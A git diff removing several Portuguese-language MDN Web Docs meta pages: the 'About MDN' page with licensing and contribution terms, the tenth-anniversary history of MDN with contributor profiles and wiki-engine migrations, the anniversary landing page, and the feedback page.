- <li><a href="/pt-PT/docs/Mozilla/Add-ons" title="/en-US/docs/Add-ons">Desenvolvimento de extras (add-ons) do Firefox</a></li>
-</ul>
-
-<h2 id="A_nossa_missão">A nossa missão</h2>
-
-
-
-<p>A missão da MDN é simples: proporcionar aos programadores a informação que eles precisam para criarem facilmente projetos na <a href="https://developer.mozilla.org/en-US/docs/Web">Web aberta</a>. Se é uma tecnologia aberta exposta à Web, nós queremos documentá-la.</p>
-
-<p>Além disso, nós proporcionamos documentação sobre os <a href="/pt-PT/docs/Mozilla">produtos Mozilla</a> e como <a href="/pt-PT/docs/Mozilla">criar e contribuir para os projetos da Mozilla.</a></p>
-
-<p>Se não tiver a certeza se um tópico em particular deve ser abrangido na MDN, leia: <a href="/pt-PT/docs/MDN/Contribute/linhas_diretrizes/Isto_pertence_a_MDN">Isso pertence ao MDN?</a></p>
-
-
-
-<h2 id="Como_é_que_pode_ajudar">Como é que pode ajudar</h2>
-
-
-
-<p>Não precisa de ser capaz de programar - ou escrever bem - para poder ajudar a MDN! Nós temos muitas maneiras em que pode ajudar, desde rever artigos para ter a certeza de que fazem sentido, para contribuir com texto, para adicionar código de exemplo. De facto, existem muitas maneiras de ajudar que nós temos uma página de <a href="https://developer.mozilla.org/pt-PT/docs/MDN/Intrudu%C3%A7%C3%A3o">Primeiros Passos</a> que o ajuda a escolher as tarefas para fazer, com base nos seus interesses e quanto tempo é que tem para contribuir!</p>
-
-<p>Também pode ajudar a <u><a href="https://developer.mozilla.org/pt-PT/docs/MDN/Sobre/Promover">promover a MDN</a></u> no seu próprio blogue ou site da Web.</p>
-
-
-
-<h2 id="A_comunidade_da_MDN">A comunidade da MDN</h2>
-
-<p>Nossa comunidade é global! Temos colaboradores incríveis em todo o mundo, em vários idiomas. Se você quiser saber mais sobre nós, ou se precisar de ajuda de qualquer tipo com o MDN, fique à vontade para visitar nosso <a href="https://discourse.mozilla.org/c/mdn">fórum de discussão</a> ou <a href="irc://irc.mozilla.org#mdn">canal de IRC</a>! Você também pode acompanhar o que estamos fazendo seguindo nossa conta no Twitter, <a href="https://twitter.com/MozDevNet">@MozDevNet</a>. Você também pode enviar tweets para nós, se você vir algo errado ou se você gostaria de oferecer feedback (ou quiser nos agradecer) aos nossos escritores e colaboradores!</p>
-
-<h2 id="Utilizar_conteúdo_da_MDN_Web_Docs">Utilizar conteúdo da MDN Web Docs</h2>
-
-<p>O conteúdo da MDN está disponível gratuitamente, e sob as licenças de código aberto.</p>
-
-<h3 id="Direitos_de_Autor_e_Licenças">Direitos de Autor e Licenças</h3>
-
-<p>O conteúdo da MDN está totalmente disponível sob várias licenças de código aberto. Esta secção cobre os tipos de conteúdo que nós proporcionamos e quais as licenças em vigor para cada.</p>
-
-<h4 id="Documentação_e_artigos">Documentação e artigos</h4>
-
-<p><strong>MDN wiki documents</strong> have been prepared with the contributions of many authors, both within and outside the Mozilla Foundation. Unless otherwise indicated, the content is available under the terms of the <a class="external text" href="http://creativecommons.org/licenses/by-sa/2.5/" rel="nofollow" title="http://creativecommons.org/licenses/by-sa/2.5/">Creative Commons Attribution-ShareAlike license</a> (CC-BY-SA), v2.5 or any later version. Please attribute "Mozilla Contributors" and include a hyperlink (online) or URL (in print) to the specific wiki page for the content being sourced. For example, to provide attribution for this article, you can write:</p>
-
-<blockquote><a href="/pt-PT/docs/MDN/Sobre">Sobre a MDN</a>, pelos <a href="https://developer.mozilla.org/en-US/docs/MDN/About$history">Colaboradores da Mozilla </a>(inglês) está licenciado sob <a href="http://creativecommons.org/licenses/by-sa/2.5/">CC-BY-SA 2.5</a>.</blockquote>
-
-<p>Note that in the example, "Mozilla Contributors" links to the history of the cited page. See <a href="http://wiki.creativecommons.org/Marking/Users">Best practices for attribution</a> (EN) for further explanation.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> consulte o <a href="/pt-PT/docs/Archive/Meta_docs/Conteudo_MDN_em_WebPlatform.org" title="/en-US/docs/MDN_content_on_WebPlatform.org">conteúdo da MDN em WebPlatform.org</a> para informação sobre como reutilizar e atribuir conteúdo MDN nesse site.</p>
-</div>
-
-<h4 id="Code_samples_and_snippets">Code samples and snippets</h4>
-
-<p>Code samples added to this wiki before August 20, 2010 are available under the <a class="external" href="http://www.opensource.org/licenses/mit-license.php" title="http://www.opensource.org/licenses/mit-license.php">MIT license</a>; you should insert the following attribution information into the MIT template: "© &lt;date of last wiki page revision&gt; &lt;name of person who put it in the wiki&gt;".</p>
-
-<p>Code samples added on or after August 20, 2010 are in the <a class="external" href="http://creativecommons.org/publicdomain/zero/1.0/" title="http://wiki.creativecommons.org/Public_domain">public domain</a>. No licensing notice is necessary, but if you need one, you can use: "Any copyright is dedicated to the Public Domain. http://creativecommons.org/publicdomain/zero/1.0/".</p>
-
-<h4 id="Contribuições">Contribuições</h4>
-
-<p>If you wish to contribute to this wiki, you must make your documentation available under the Attribution-ShareAlike license (or occasionally an alternative license already specified by the page you are editing), and your code samples available under <a href="http://creativecommons.org/publicdomain/zero/1.0/" title="http://creativecommons.org/publicdomain/zero/1.0/">Creative Commons CC-0</a> (a Public Domain dedication). Adding to this wiki means you agree that your contributions will be made available under those licenses.</p>
-
-<p>Some older content was made available under a license other than the licenses noted above; these are indicated at the bottom of each page by way of an <a class="internal" href="/Archive/Meta_docs/Examples/Alternate_License_Block" title="Project:En/Examples/Alternate License Block">Alternate License Block</a>.</p>
-
-<div class="warning">
-<p>Não podem ser criadas novas páginas utilizando licenças alternativas.</p>
-</div>
-
-<p><strong>Os direitos de autor para os materiais contribuídos permanecem com o autor, a menos que o mesmo o atribua a outra pessoa</strong>.</p>
-
-<p>Se tiver quaisquer questões relacionadas ou problemas sobre qualquer coisa aqui discutida, por favor, contacte <a class="external" href="mailto:eshepherd@mozilla.com" rel="nofollow" title="mailto:eshepherd@mozilla.com">Eric Shepherd</a>.</p>
-
-<p><strong>Logótipo, marcas registadas, marcas de serviço e wordmarks</strong></p>
-
-<hr>
-<p>The rights in the trademarks, logos, service marks of the Mozilla Foundation, as well as the look and feel of this web site, are not licensed under the Creative Commons license, and to the extent they are works of authorship (like logos and graphic design), they are not included in the work that is licensed under those terms. If you use the text of documents, and wish to also use any of these rights, or if you have any other questions about complying with our licensing terms for this collection, you should contact the Mozilla Foundation here: <a class="external text" href="mailto:licensing@mozilla.org" rel="nofollow" title="mailto:licensing@mozilla.org">licensing@mozilla.org</a>.</p>
-
-<h3 id="Interligação_com_a_MDN">Interligação com a MDN</h3>
-
-<p>See this article for guidance on <a href="/en-US/docs/MDN/About/Linking_to_MDN">linking to MDN</a> for best practices when linking.</p>
-
-<h2 id="Transferência_de_conteúdo">Transferência de conteúdo</h2>
-
-<p>Pode transferir <a href="/media/developer.mozilla.org.tar.gz">um <em>tarball mirror </em>completo da MDN</a>. (2.1GB, em fevereiro de 2017)</p>
-
-<h3 id="Páginas_únicas">Páginas únicas</h3>
-
-<p>You can retrieve the content of a single page on MDN by adding <a href="/en-US/docs/MDN/Kuma/API#Document_parameters">document parameters</a> to the URL to specify what format you want.</p>
-
-<h3 id="Ferramentas_de_terceiros">Ferramentas de terceiros</h3>
-
-<p>You can view MDN content via third-party tools like <a href="http://kapeli.com/dash">Dash</a> (for Mac OS) and <a href="http://zealdocs.org/">Zeal</a> (for Linux and Windows).</p>
-
-<p><a href="https://kapeli.com/">Kapeli</a> also publishes <a href="https://kapeli.com/mdn_offline">offline MDN docs</a> covering HTML, CSS, JavaScript, SVG, and XSLT.</p>
-
-<h2 id="Comunicação_de_problemas_com_MDN_Web_Docs">Comunicação de problemas com MDN Web Docs</h2>
-
-<p>Consultar "<a href="/pt-PT/docs/MDN/Contribute/Howto/Comunicar_um_problema">Como comunicar um problema na MDN</a>".</p>
-
-<h2 id="Histórico_da_MDN_Web_Docs">Histórico da MDN Web Docs</h2>
-
-<p>MDN Web Docs (anteriormente Mozilla Developer Network (MDN), anteriormente projeto da Mozilla Developer Center (MDC), a.k.a. Devmo) começou no início de 2005, quando a <a class="external" href="http://www.mozillafoundation.org">Fundação Mozilla</a> (inglês) obteve a licença da AOL para utilizar o conteúdo <a href="https://web.archive.org/web/*/devedge.netscape.com" title="Project:en/DevEdge">DevEdge</a> original do Netscape. O conteúdo DevEdge foi minado para o material ainda útil, que foi migrado por voluntários para esta wiki, e assim esta seria mais fácil para atualizar e manter.</p>
-
-<p>Pode encontrar mais história da MDN na nossa página de <a href="/pt-PT/docs/MDN_at_ten">celebração do 10º. aniversário</a>, incluindo uma história verbal por algumas das pessoas que estiverem envolvidas.</p>
-
-<h2 id="Sobre_a_Mozilla">Sobre a Mozilla</h2>
-
-<p>Se quer saber mais sobre quem somos, como fazer parte da Mozilla ou apenas onde nos encontrar, veio ao lugar certo. Para descobrir o que nos impulsiona e nos torna diferentes, visite a nossa página da <a href="https://www.mozilla.org/pt-PT/mission/">missão</a>.</p>
diff --git a/files/pt-pt/mdn/at_ten/history_of_mdn/index.html b/files/pt-pt/mdn/at_ten/history_of_mdn/index.html
deleted file mode 100644
index 8c49815a25..0000000000
--- a/files/pt-pt/mdn/at_ten/history_of_mdn/index.html
+++ /dev/null
@@ -1,226 +0,0 @@
----
-title: A História da MDN
-slug: MDN/At_ten/History_of_MDN
-tags:
- - História
- - Metadados MDN
-translation_of: MDN_at_ten/History_of_MDN
-original_slug: MDN_at_ten/Historia_da_MDN
----
-<div class="summary">
-<p>In this talk, several contributors of the MDN project look at the past ten years of <a href="https://developer.mozilla.org">developer.mozilla.org</a>, and at the decade to come. You will hear the story of different wiki software migrations, how a documentation community was built, and many more highlights of the history of the site. The group then also talks about current challenges and projects the MDN community is working on this year.</p>
-
-<div class="chapter-audio">
-<div class="hidden" id="audio">
-<h3 id="Conteúdo_HTML">Conteúdo HTML</h3>
-
-<pre class="brush: html">&lt;audio controls="controls"&gt;
- Looks like your browser doesn't have a built-in audio player. Grab the file and play it yourself from here: https://videos.cdn.mozilla.net/uploads/mdn/MDN10/MDN_RoundTable.mp3
-  &lt;source src="https://videos.cdn.mozilla.net/uploads/mdn/MDN10/MDN_RoundTable.mp3" type="audio/mp3"&gt;
-&lt;/audio&gt;
-</pre>
-
-<pre class="brush: css"> body{margin-top:8px;}</pre>
-</div>
-
-<p>{{ EmbedLiveSample('audio', '100%', '60px') }}</p>
-
-<p>Below, learn more about the people who are sharing their memories and thoughts, and get a deeper look at specific details they mention.</p>
-</div>
-</div>
-
-<div class="chapters" id="chapters">
-<article class="chapter chapter-portrait" id="hoosteeno"><a class="chapter-portrait-img" href="https://twitter.com/hoosteeno"><img alt="Justin Crawford" src="https://avatars0.githubusercontent.com/u/94519" style="height: 128px; width: 128px;"> </a>
-
-<h2 id="Justin_Crawford_Product_Manager_MDN">Justin Crawford <small> Product Manager, MDN</small></h2>
-
-<p>Justin moderates this talk and makes things with code, words, bike parts, and lumber. He is <a href="https://twitter.com/hoosteeno">@hoosteeno</a> on Twitter.</p>
-</article>
-
-<article class="chapter chapter-justtext" id="mdn-intro">
-<h2 id="O_que_é_MDN_e_para_quem_é_Um_lugar_para_a_comunidade_Open_Web_Um_lugar_para_a_comunidade_da_'Web_Aberta'">O que é MDN, e para quem é? Um lugar para a comunidade Open Web <small> Um lugar para a comunidade da '<em>Web </em>Aberta'</small></h2>
-
-<p>MDN provides useful information for Web technologies, and encourages learning, sharing, and teaching in the open Web community. On MDN, you come together and make things for yourself and for others.</p>
-A place for Mozilla developers
-
-<p>MDN is also a place for Mozilla engineers, such as Gecko or Firefox hackers, add-on developers, and Firefox OS contributors.</p>
-</article>
-
-<article class="chapter chapter-portrait" id="sheppy"><a class="chapter-portrait-img" href="https://twitter.com/sheppy"><img alt="Eric Shepherd" src="https://pbs.twimg.com/profile_images/454358640518914048/WX1xBTs9.jpeg" style="height: 128px; width: 128px;"> </a>
-
-<h2 id="Eric_Sheppy_Shepherd_Technical_Writer_MDN">Eric "Sheppy" Shepherd <small> Technical Writer, MDN</small></h2>
-
-<p>Sheppy has been here documenting for Mozilla since 2006, and has a lot of history (and crazy ideas) when it comes to MDC and MDN over the years. He is <a href="https://twitter.com/sheppy">@sheppy</a> on Twitter.</p>
-</article>
-
-<article class="chapter chapter-justtext" id="mdn-history">
-<h2 id="The_history_of_MDN_Pre-wiki_era_–_Netscape_DevEdge">The history of MDN <small> Pre-wiki era – Netscape DevEdge</small></h2>
-
-<p>In the early days there was <em>DevEdge</em>, the developer documentation from Netscape which formed the basis of some of MDN's documentation. Have a look at the past on <a href="https://web.archive.org/web/20020819120942/http://devedge.netscape.com/">archive.org</a>:</p>
-
-<p><a href="https://web.archive.org/web/20020819120942/http://devedge.netscape.com/"><img alt="Netscape DevEdge" src="https://mdn.mozillademos.org/files/11581/devedge.png" style="height: 300px; width: 600px;"> </a></p>
-
-<p>On October 12, 2004, this popular developer website was shut down by AOL, Netscape's parent company. Only a few months later, in February 2005, <a href="https://blog.lizardwrangler.com/">Mitchell Baker</a> was able <a href="https://blog.lizardwrangler.com/2005/02/23/devmo-and-devedge-updates/"> to rescue DevEdge</a> and reached an agreement with AOL that allowed Mozilla to post, modify, and create new documents based on the former Netscape DevEdge materials. In other words, what happened to the Mozilla source in 1998 finally happened for Netscape's developer documentation as well: <strong>It became open source</strong>.</p>
-
-<p>Deb Richardson joined the Mozilla Foundation as a Technical Editor and lead the new <em>DevMo</em> project for community driven developer documentation.</p>
-</article>
-
-<article class="chapter chapter-justtext" id="mediawiki">
-<h2 id="MediaWiki_The_first_wiki_engine">MediaWiki <small> The first wiki engine</small></h2>
-
-<p>With MediaWiki as the new underlying project platform, the Mozilla developer documentation has been made editable for anyone starting in July 2005. A new collaborative element in Mozilla was established and since then anyone is welcome to help making it better and to share knowledge. A new international community began to grow and to translate developer contents into other languages.</p>
-
-<p><a href="https://web.archive.org/web/20051226031957/http://developer.mozilla.org/en/docs/Main_Page"><img alt="MDC MediaWiki" src="https://mdn.mozillademos.org/files/11583/mediawiki.png" style="height: 390px; width: 600px;"> </a></p>
-</article>
-
-<article class="chapter chapter-portrait" id="fscholz"><a class="chapter-portrait-img" href="https://twitter.com/floscholz"><img alt="Florian Scholz" src="https://avatars1.githubusercontent.com/u/349114" style="height: 128px; width: 128px;"> </a>
-
-<h2 id="Florian_Scholz_Technical_Writer_MDN">Florian Scholz <small> Technical Writer, MDN</small></h2>
-
-<p>Florian is a Technical Writer at Mozilla focused on open web technologies. He is a wiki gnome, gardening the documentation as if it were flowers, and he likes to work with the community toward the goal of documenting the Web and making it accessible to everyone. Florian is passionate about open source, he is based in Bremen, Germany, and tweets as <a href="https://twitter.com/floscholz">@floscholz</a> on Twitter.</p>
-</article>
-
-<article class="chapter chapter-justtext" id="dekiwiki">
-<h2 id="DekiWiki_The_second_wiki_engine">DekiWiki <small> The second wiki engine</small></h2>
-
-<p>In August 2008, the Mozilla Developer Center switched to <a href="https://sourceforge.net/projects/dekiwiki/">MindTouch DekiWiki</a>, a powerful and new content management system and wiki system for technical documentation. This platform change was quite controversial in the community that was used to MediaWiki from 2005 on and built tools around it.</p>
-
-<p><a href="https://web.archive.org/web/20080907231611/http://developer.mozilla.org/en"><img alt="MDC DekiWiki" src="https://developer-samples.allizom.org/files/6478/dekiwiki.png"> </a></p>
-</article>
-
-<article class="chapter chapter-portrait" id="aspivak"><a class="chapter-portrait-img" href="https://twitter.com/alispivak"><img alt="Ali Spivak" src="https://pbs.twimg.com/profile_images/111121498/ali_profile1.jpg" style="height: 128px; width: 128px;"> </a>
-
-<h2 id="Ali_Spivak_Herder_of_awesome_MDN_cats">Ali Spivak <small> Herder of awesome MDN cats</small></h2>
-
-<p>Ali Spivak manages content &amp; community on the Mozilla Developer Network and spends her time thinking of ways to help make the Web even more awesome. She is passionate about maintaining a free and open Web, and, after jumping into open source when she joined Mozilla in 2012, has focused on building and participating in the developer communities at Mozilla. She is <a href="https://twitter.com/alispivak">@alispivak</a> on Twitter.</p>
-</article>
-
-<article class="chapter chapter-justtext" id="kuma">
-<h2 id="Kuma_The_third_and_current_wiki_engine">Kuma <small> The third and current wiki engine</small></h2>
-
-<p><a href="https://github.com/mozilla/kuma">Kuma</a>, forked from <a href="https://github.com/mozilla/kitsune">Kitsune</a> in early 2011 and launched on August 3, 2012, is a Mozilla-built wiki platform based on Django with its own <a href="/en-US/docs/MDN/Kuma/Introduction_to_KumaScript">KumaScript</a> macro system which uses Node.js.</p>
-
-<p>With the code living on GitHub, the community started to contribute to MDN's CMS as well. From now on, hacking on MDN includes both writing documentation and Kuma coding.</p>
-
-<p><a href="https://web.archive.org/web/20121003233220/https://developer.mozilla.org/en-US/"><img alt="MDN KUMA" src="https://mdn.mozillademos.org/files/11585/kuma.png" style="height: 287px; width: 600px;"> </a></p>
-</article>
-
-<article class="chapter chapter-portrait" id="davidwalsh"><a class="chapter-portrait-img" href="http://twitter.com/davidwalshblog"><img alt="David Walsh" src="https://pbs.twimg.com/profile_images/2587630901/6gk0dqubt5512yk18a6o_400x400.png" style="height: 128px; width: 128px;"> </a>
-
-<h2 id="David_Walsh_Web_developer_MDN">David Walsh <small> Web developer, MDN</small></h2>
-
-<p>Mozilla Sr. Web Developer, Front-End Engineer, MooTools Core Developer, Javascript Fanatic, CSS Tinkerer, PHP Hacker, web and open source lover. David is <a href="https://twitter.com/davidwalshblog">@davidwalshblog</a> on Twitter.</p>
-</article>
-
-<article class="chapter chapter-justtext" id="mdn-redesign">
-<h2 id="Redesigning_MDN_Kuma_with_the_refreshed_design">Redesigning MDN <small> Kuma with the refreshed design</small></h2>
-
-<p>The redesign of MDN was a big project. <a href="https://twitter.com/mart3ll">Sean Martell</a> designed the new MDN visual identity. It was then an iterative process with a beta user group of 3000 MDNers during several months. The new look was behind a "Waffle flag" (MDN's feature flag system). Major shout-outs also to <a href="https://twitter.com/davidwalshblog/">David Walsh</a> who was really championing the entire redesign and gave MDN the front-end that it deserves.</p>
-<img alt="Waffle flag" src="https://mdn.mozillademos.org/files/11589/waffle-flag.jpg" style="height: 384px; width: 400px;"></article>
-
-<article class="chapter chapter-portrait" id="jswisher"><a class="chapter-portrait-img" href="https://twitter.com/jmswisher"><img alt="Janet Swisher" src="https://pbs.twimg.com/profile_images/3681972492/8ed406f7d19e188e4e8936b6836b2214.jpeg" style="height: 128px; width: 128px;"> </a>
-
-<h2 id="Janet_Swisher_Community_Manager_MDN">Janet Swisher <small> Community Manager, MDN</small></h2>
-
-<p>Janet is a Mozilla Community Manager for Mozilla Developer Network. She joined Mozilla in 2010, and has been involved in open source software since 2004 and in technical communication since the 20th century. She is <a href="https://twitter.com/jmswisher">@jmswisher</a> on Twitter.</p>
-</article>
-
-<article class="chapter chapter-justtext" id="mdn-open">
-<h2 id="Community_around_Open_Web_docs_Community-driven_browser-agnostic_Open_Web_documentation">Community around Open Web docs <small> Community-driven, browser-agnostic Open Web documentation</small></h2>
-
-<p>At some point in 2010, especially when <a href="https://hacks.mozilla.org/2010/10/web-standards-doc-sprint-finis/">community members and Technical Writers met in Paris</a>, it became more obvious that MDN's focus is clearly shifting from "Let's document all things Firefox!" to "Let's document the Web!". Documentation has been cleaned up and restructured over the last few years, so that MDN's open Web documentation is browser-agnostic. This material, useful for anyone developing for the Web, is our most popular and most widely used content.</p>
-
-<p>Different browser vendors have joined every once in a while to help shape this part of MDN. This cross-browser collaboration has been very successful and is appreciated by MDN's readers.</p>
-</article>
-
-<article class="chapter chapter-portrait" id="groovecoder"><a class="chapter-portrait-img" href="https://twitter.com/groovecoder"><img alt="Luke Crouch" src="https://pbs.twimg.com/profile_images/620387561031102464/DC_PRaDa.jpg" style="height: 128px; width: 128px;"> </a>
-
-<h2 id="Luke_Crouch_Web_developer_MDN">Luke Crouch <small> Web developer, MDN</small></h2>
-
-<p>Luke Crouch is a home-brewer, soccer fan and web developer for Mozilla. He's been developing on the web since 1996, using Firefox since 2004, writing open source software since 2006, and joined Mozilla as the first staff MDN web dev in 2010. Luke is <a href="https://twitter.com/groovecoder">@groovecoder</a> on Twitter.</p>
-</article>
-
-<article class="chapter chapter-justtext" id="l10n">
-<h2 id="Localization_communities_MDN_serves_a_global_audience_in_many_languages">Localization communities <small> MDN serves a global audience in many languages</small></h2>
-
-<p>Localization is a big part of the Mozilla community; it is a component of almost every project and product. Using Kuma, MDN is also very localizable and suited for the needs of <a href="/en-US/docs/MDN/Contribute/Localize">our l10n community</a>. The W3C specifications and other resources describing the Web's functionality have no direct goals, and have communities that provide specs in multiple languages. Especially for beginners, MDN is the first step to explore web technologies, so it's our aim to be there for everyone. MDN has a broad audience and aims to include not only native English speakers. It is appreciated all around the globe.</p>
-</article>
-
-<article class="chapter chapter-portrait"><a class="chapter-portrait-img" href="https://twitter.com//Sphinx_Twitt"><img alt="Julien" src="https://ffp4g1ylyit3jdyti1hqcvtb-wpengine.netdna-ssl.com/community/files/2015/05/ensemble.png" style="height: 128px; width: 128px;"> </a>
-
-<h2 id="Julien_(a.k.a._Sphinx)_French_localization_MDN">Julien (a.k.a. Sphinx) <small> French localization, MDN</small></h2>
-
-<p>Julien spent many nights and weekends over several month, translating JavaScript articles into French. He is not a developer, but has a background in IT and wants to learn more about new technologies. He contributes to MDN instead of watching TV.</p>
-</article>
-
-<article class="chapter chapter-portrait" id="teoli"><a class="chapter-portrait-img" href="https://twitter.com/Teoli2003"><img alt="Jean-Yves Perrier" src="https://pbs.twimg.com/profile_images/604271935099392001/NMrPWLGm.jpg" style="height: 128px; width: 128px;"> </a>
-
-<h2 id="Jean-Yves_Perrier_Technical_Writer_MDN">Jean-Yves Perrier <small> Technical Writer, MDN</small></h2>
-
-<p>Jean-Yves has been a Technical Writer on MDN since 2010 and joined Mozilla full-time at the end of 2011. He is passionate about the open Web, with 15 years of C++ experience. He is Swiss but lives in London, UK. His Erdös number is 5 and he is <a href="https://twitter.com/Teoli2003">@Teoli2003</a> on Twitter.</p>
-</article>
-
-<article class="chapter chapter-justtext" id="mdn-learning">
-<h2 id="Learning_Area">Learning Area</h2>
-
-<p>The MDN <a href="https://developer.mozilla.org/en-US/Learn">Learning Area</a> is a new effort to teach basic web skills. Over the last 10 years, MDN added a lot of advanced material, serving experts with valuable information. This project is focused on materials for beginners, and tries to fill in a lot of knowledge gaps.</p>
-</article>
-
-<article class="chapter chapter-portrait" id="jeremie"><a class="chapter-portrait-img" href="https://twitter.com/jeremiepat"><img alt="Jérémie Patonnier" src="https://pbs.twimg.com/profile_images/1731588715/jeremie-patonnier-150.jpg" style="height: 128px; width: 128px;"> </a>
-
-<h2 id="Jérémie_Patonnier_Technical_Writer_MDN">Jérémie Patonnier <small> Technical Writer, MDN</small></h2>
-
-<p>Jérémie is a long time contributor to the Mozilla Developer Network, and a professional web developer since 2000. He's advocating web standards and write documentation about web technologies with the will to make them accessible to everybody. He is <a href="https://twitter.com/JeremiePat">@JeremiePat</a> on Twitter.</p>
-</article>
-
-<article class="chapter chapter-justtext" id="mdn-future">
-<h2 id="The_future_of_MDN_What_will_be_different_when_we_celebrate_20_years_of_MDN">The future of MDN <small> What will be different when we celebrate 20 years of MDN?</small></h2>
-
-<p>Everyone involved with MDN really cares about the web being open and accessible, and that's why we have the localization teams and all of the people contributing. MDN hopes to continue to be a key player in keeping the Web the way we feel it should be.</p>
-
-<p>One big part of this future is going to be learning resources. There will be a lot more Web developers over the next ten years.</p>
-
-<p>Another big part of our job is maintaining and updating the information we already have, so we can always serve relevant content to Web developers.</p>
-
-<p>What is changing and will likely change more in the future, is how information is consumed. Today people searching for information and looking up documentation. In the future, MDN documentation might be delivered directly in code editors, Firefox Developer Tools, and many other developer tools and services.</p>
-</article>
-
-<article class="chapter chapter-justtext" id="mdn-contributors">
-<h2 id="Awesome_contributors_Many_more_people_have_done_amazing_work_on_MDN">Awesome contributors <small> Many more people have done amazing work on MDN</small></h2>
-
-<div class="twocolumns">
-<ul>
- <li>Les Orchard</li>
- <li>John Karahalis</li>
- <li>David Walsh</li>
- <li>Jannis Leidel</li>
- <li>Stephanie Hobson</li>
- <li>James Bennett</li>
- <li>Isac Lagerblad</li>
- <li>Piotrek Koszuliński</li>
- <li>Craig Cook</li>
- <li>Rob Hudson</li>
- <li>John Whitlock</li>
- <li>...<br>
- And many more <a href="https://github.com/mozilla/kuma/graphs/contributors">Kuma contributors.</a></li>
-</ul>
-
-
-<ul>
- <li>Chris Mills</li>
- <li>Will Bamberg</li>
- <li>David Bruant</li>
- <li>Thierry Régagnon</li>
- <li>etherthank</li>
- <li>Saurabh Nair</li>
- <li>Deb Richardson</li>
- <li>Sebastian Zartner</li>
- <li>Tooru Fujisawa</li>
- <li>Karen Scarfone</li>
- <li>Niklas Barning</li>
- <li>...<br>
- And hundreds more wiki collaborators.</li>
-</ul>
-</div>
-<img alt="The Berlin Office" src="https://mdn.mozillademos.org/files/11591/11073502_781006205281080_8135317797319228200_o-600x400.jpg"></article>
-</div>
diff --git a/files/pt-pt/mdn/at_ten/index.html b/files/pt-pt/mdn/at_ten/index.html
deleted file mode 100644
index 637fb0eb17..0000000000
--- a/files/pt-pt/mdn/at_ten/index.html
+++ /dev/null
@@ -1,40 +0,0 @@
----
-title: 10.º Aniversário da MDN
-slug: MDN/At_ten
-tags:
- - MDN
-translation_of: MDN_at_ten
-original_slug: MDN_at_ten
----
-<div class="summary">Celebrar 10 anos de documentação da sua Web.</div>
-
-<div class="column-container">
-<div class="column-8">
-<h2 id="A_história_da_MDN">A história da MDN</h2>
-
-<p>No início de 2005, uma pequena equipa de idealistas juntaram-se para criar uma comunidade nova e livre, de recursos on-line para todos os programadores da Web. Com a ideia brilhante mas estranha, cresceu até hoje para se tornar no que é hoje, a Rede de Desenvolvimento da Mozilla - o primeiro recurso para todas as tecnologias abertas da Web. Dez anos mais tarde, a nossa comunidade global é maior do que nunca, e juntos iremos continuar a criar documentação, exemplos de código e recursos de aprendizagem para todas as tecnologias abertas da Web, incluindo CSS, HTML, JavaScript e tudo o mais que torna a Web aberta tão poderosa como é.</p>
-
-<p><a class="learnmore" href="/pt-PT/docs/MDN_at_ten/Historia_da_MDN">Saber mais<span class="offscreen">about the history</span></a></p>
-
-
-<h2 id="Contribuir_para_a_MDN">Contribuir para a MDN</h2>
-
-<p>Durante dez anos, a nossa comunidade MDN tem vindo a documentar a Web aberta. Desde corrigir pequenos erros até escrever conjuntos completos de uma API completamente nova, toda a gente tem qualquer coisa para oferecer, e nenhuma contribuição é menos ou mais importante do que qualquer outra. Nós temos mais de 90 000 páginas de conteúdo que têm vindo a ser escritas ou traduzidas por membros da nossa comunidade fantástica de Mozillians. Pode tornar-se num deles.</p>
-
-<p><a class="learnmore" href="/pt-PT/docs/MDN_at_ten/Contribuir_para_MDN">Saber mais<span class="offscreen">about contributing</span></a></p>
-
-<p> </p>
-
-<p> </p>
-</div>
-
-<div class="column-4">{{TenthCampaignQuote}}</div>
-
-<h2 id="Subnavegação">Subnavegação</h2>
-
-<ol>
- <li><a href="/en-US/docs/MDN_at_ten/">10.º Aniversário da MDN</a></li>
- <li><a href="/pt-PT/docs/MDN_at_ten/Historia_da_MDN">A história da MDN</a></li>
- <li><a href="/pt-PT/docs/MDN_at_ten/Contribuir_para_MDN">Contribuir para a MDN</a></li>
-</ol>
-</div>
diff --git a/files/pt-pt/mdn/contribute/feedback/index.html b/files/pt-pt/mdn/contribute/feedback/index.html
deleted file mode 100644
index a4e88f36f8..0000000000
--- a/files/pt-pt/mdn/contribute/feedback/index.html
+++ /dev/null
@@ -1,59 +0,0 @@
----
-title: Enviar opinião sobre a MDN
-slug: MDN/Contribute/Feedback
-tags:
- - Documentação
- - Guía
- - MDN
- - Metadados MDN
-translation_of: MDN/Contribute/Feedback
----
-<div>{{MDNSidebar}}</div>
-
-<div>{{IncludeSubnav("/pt-PT/docs/MDN")}}</div>
-
-<p>Bem-vindo à MDN! Se tiver sugestões, ou tiver problemas ao utilizar a MDN, este é o lugar certo para estar. O simples facto de estar interessado em oferecer a sua opinião/comentário faz com que faça parte da comunidade da Mozilla e nós agradecemos antecipadamente pelo seu interesse.</p>
-
-<p>Tem várias opções para oferecer a sua visão; este artigo irá ajudá-lo a fazer isso.</p>
-
-<h2 id="Atualizar_a_documentação">Atualizar a documentação</h2>
-
-<p>First of all, if you've seen a problem with the documentation, you should always feel free to correct it yourself. Simply <a href="/en-US/docs/MDN/Contribute/Howto/Create_an_MDN_account">sign in</a> using <a href="https://github.com/">Github</a>, then click any blue <strong>Edit</strong> button to open the <a href="/en-US/docs/MDN/Contribute/Editor">editor</a> and enter the world of contributing to MDN documentation. The documentation here is in a wiki, and is curated by a team of volunteers and paid staff, so don't be shy—your grammar doesn't have to be perfect. We'll clean it up if you make a mistake; no harm done!</p>
-
-<p>Para mais informação sobre a contribuição para a documentação da MDN, consulte:</p>
-
-<ul>
- <li><a href="/pt-PT/docs/MDN/Intrudu%C3%A7%C3%A3o" title="/en-US/docs/Project:Getting_started">Iniciação na MDN</a></li>
- <li><a href="/pt-PT/docs/MDN/Contribute">Contribuir para a MDN</a></li>
- <li><a href="/pt-PT/docs/MDN/Contribute/Editor" title="/en-US/docs/Project:MDN_editing_interface">A interface de edição da MDN</a></li>
-</ul>
-
-<h2 id="Junte-se_à_conversação">Junte-se à conversação</h2>
-
-<p>Fale connosco! Existem algumas maneiras para entrar em contacto com outras pessoas que trabalham com conteúdo na MDN.</p>
-
-<h3 id="Conversação_Síncrono">Conversação (Síncrono)</h3>
-
-<p>
- </p><h3 id="Discussões_Assíncrono">Discussões (Assíncrono)</h3>
-
-
-<p>Longer-term discussions happen on our <a href="https://discourse.mozilla-community.org/c/mdn">MDN discussion forum</a>. You can post to the forum via email to <a href="mailto://mdn@mozilla-community.org">mdn@mozilla-community.org</a>. If you join the forum, you can choose to have notifications about discussions sent to you via email as well.</p>
-
